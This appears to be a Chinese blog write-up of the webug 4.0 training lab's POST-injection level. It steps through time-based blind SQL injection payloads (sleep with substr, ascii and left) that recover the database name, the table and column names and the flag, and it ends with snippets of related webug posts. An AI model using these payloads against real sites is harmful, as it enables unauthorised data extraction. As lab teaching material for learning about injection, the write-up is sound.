今天来到了post注入
首先我们要明确两个问题
什么是post注入
post注入是通过对输入框进行传参,可以被带入数据库进行的查询

什么条件下可以进行post注入
1.用户可以控制传参;
2.用户输入的语句被带入数据库进行查询。

ok,开始今天的练习题:
访问靶场:
这次页面和前几关不同,明显可见有输入框。
1.寻找注入点
在输入框尝试1234,英文都没有反应

这时候我们猜测是不是搜索到了结果但是不显示,这样的话就需要特殊字符来让页面产生变化,比如报错页面之类的

在输入框输入 1’ 发现报错,然后在输入框输入 1’ # 发现页面正常返回,说明页面可能存在注入点。

2.找到注入点后尝试注入

既然它报错,那我们可以利用他报错这个特点先来探测出他列数,就用在显错注入说到的 union方法

输入 输出
1‘ union select 1# 页面报错
1’ union select 1,2# 页面正确显示
1’ union select 1,2,3# 页面报错

说明列数是2

根据上面的观察可以得知,搜索什么都不会显示结果,那么

1、尝试order by 显错注入不行 ,因为不会显示结果

2、布尔注入也不行,因为页面不会变化

3、延时注入可行,可通过页面打开时间来判断

接下来就让我们先试试sleep()能否行得通吧,注意:这里是post请求,所以#不必转成%23,会自动转的

输入 输出
1’ and sleep(3)# 页面正常显示
1’ or sleep(3)# 延时

因为1’为假,所以要用or连接

3.利用延时注入判断数据库长度

输入 输出
1‘ or if(length(database())>3,sleep(3),1) 延时
1‘ or if(length(database())>5,sleep(3),1) 页面正常显示
1‘ or if(length(database())=5,sleep(3),1) 延时

说明数据库的长度为5

4.利用延时注入猜解数据库名

1' or if(ascii(substr(database(),1,1))>88,sleep(3),1)#  页面正常显示
1' or if(ascii(substr(database(),1,1))>120,sleep(3),1) #  页面正常显示..................
1' or if(ascii(substr(database(),1,1))=119,sleep(3),1)# 延时

以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w,

也可以用left函数

1' or if(left(database(),1)='w',sleep(3),1)#   延时
1' or left(database(),2)='we',sleep(3),1#       延时...............
1' or if(left(database(),5)='webug',sleep(3),1)#  延时

说明数据库名为webug

5.利用延时注入猜解webug下表的个数

1' or if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(3),1)#

延时,说明webug下有7个表

6.利用延时注入爆出webug下的表名
首先猜解第一个表名长度

1' or if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10,sleep(3),1)#

页面没有延时,经过不断的更换length的值,最后得出第一个表名的长度是9

1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='d',sleep(3),1)#

延时,说明第一个表的第一个字符是d

1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='da',sleep(3),1)#

延时,说明第一个表的前两个字符是da,最终猜解出第一个表为data_crud

1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),2)='en',sleep(3),1)#

延时,说明第二个表的前两个字符是en

于是可以猜解出webug下的所有表名,分别为:
data_crud,env_list,env_path,flag,sqlinjection,user,user_test

7.利用延时注入爆出env_path表下的列
首先看下有几列

1' or if((select count(column_name) from information_schema.columns where table_name='env_list')>7,sleep(3),1)#

经过猜解,得到env_list下共有8列

猜解第一列

猜解第一列的长度:

1'or if (length(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=2,sleep(3),1)#

延时,说明第一列的长度是2

猜解第一列的两个字符分别是什么

1' or if(substr(select column_name from information_schema.columns where table_name='env_list' limit 0,1),1)='i',sleep(3),1)#

说明第一列的第一个字符是i,继续猜解得到第一列的列名是id
继续猜出所有的列名:
id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

因为是第四关,所以我们要得到id=4时,envFlag里的内容,也就是flag

1' or if(left((select EnvFlag from env_list where id=4),11)='dsfasdczxcg',sleep(3),1)#

延时,得到flag!

webug--post注入相关推荐

  1. webug靶场注入篇

    显错注入 单引号报错,构造闭合,payload' and 1=1--+与 ' and 1=2,页面返回的信息不一致,由此还可以判断出存在注入,用order by查出字段数为二,union 联合查询找到 ...

  2. webug4.0之xxe注入

    关于xxe漏洞,传送门 ->xxe漏洞详解 1. 页面观察 让我们登录,我们随便输入一个字符如admin,观察页面,出现了xml有关的东西,我们就要怀疑存在xml注入 2. 看是否能解析xml数 ...

  3. webug 4.0 第一关 显错注入

    感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...

  4. Webug靶场之旅——显错注入

    显错注入 显错注入是SQL注入的一种,而SQL注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作. SQL注入漏洞产生的条件: 1.用户能够控 ...

  5. webug 4.0 第四关 POST注入

    感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...

  6. webug 4.0 第二关 布尔注入

    感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...

  7. webug 3、延时注入

    基于时间盲注,注入SQL语句执行后不提示真假,也不能通过页面内容来进行判断,通过构造SQL语句注入,查看页面响应的时间来判断信息为时间盲注. 思路:首先使用延时注入语句,查看是否可进行延时注入,然后判 ...

  8. 网络安全之webug显错注入实战

    一.实验所需函数 1. concat(str1,str2,...)返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL 2. concat_ws(separato ...

  9. webug————显错注入

    1.打开靶场,寻找注入点进行测试 id=1 2.输入':":),进行判断查看是否报错 输入":)页面无变化,'出现报错,说明存在SQL注入 3.注入流程 :寻找注入点->构造 ...

  10. webug 2、布尔注入

    思路:先查询数据库长度,再查询数据库名 再查表个数,表长度,表名 再查列个数,列长度,列名 最后查表中对应字段 成功取flag值 url:http://192.168.1.4/control/sqli ...

最新文章

  1. 9.spark core之共享变量
  2. 透过源码详解Spring Security 初始化流程
  3. 边缘AI是内存技术发展的催化剂
  4. php session获取不到的解决方法
  5. Erlang虚拟机的启动
  6. 开源java性能分析工具_Java性能监控:您应该知道的5个开源工具
  7. Android常用的一些make命令(转载)--不错
  8. leetcode968. 监控二叉树(dfs)
  9. Hive 1.2.1SparkSqoop安装指南
  10. 容器编排技术 -- 使用Minikube 部署 Kubernetes 集群
  11. Spring Boot,Sprint Batch 学习
  12. jq获取页面高度_JQuery获取页面高度宽度
  13. 孙鑫MFC笔记之十三--多线程编程
  14. PY++ 自动将你的C++程序接口封装供python调用
  15. 正斜杠“/”与反斜杠”\”
  16. Uncaught ReferenceError: but is not defined
  17. (转)比特币基金难产 区块链基金成首发
  18. 2019最受欢迎语言_2019年100最受欢迎的免费在线课程
  19. 分区助手扩大c盘后自动修复_C盘空间不足怎么办?分区助手教你如何扩大C盘
  20. 免费的国内代理服务器、国内代理IP地址

热门文章

  1. mysql pid not found,mysql 启动错误-server PID file could not be found 的解决办法
  2. python循环剪刀石头布_剪刀石头布用python怎么写
  3. 儿童七彩浏览器 隐私声明
  4. Linux脚本命令万能手脚架整理
  5. Introduction and Motivation
  6. 无法解析的外部符号main
  7. 下列关于虚拟存储器的叙述中,正确的是( )
  8. 实验六 实现一个基于内存映射的设备驱动程序
  9. 专项测试之App测试
  10. win 10 家庭版升级为专业版方法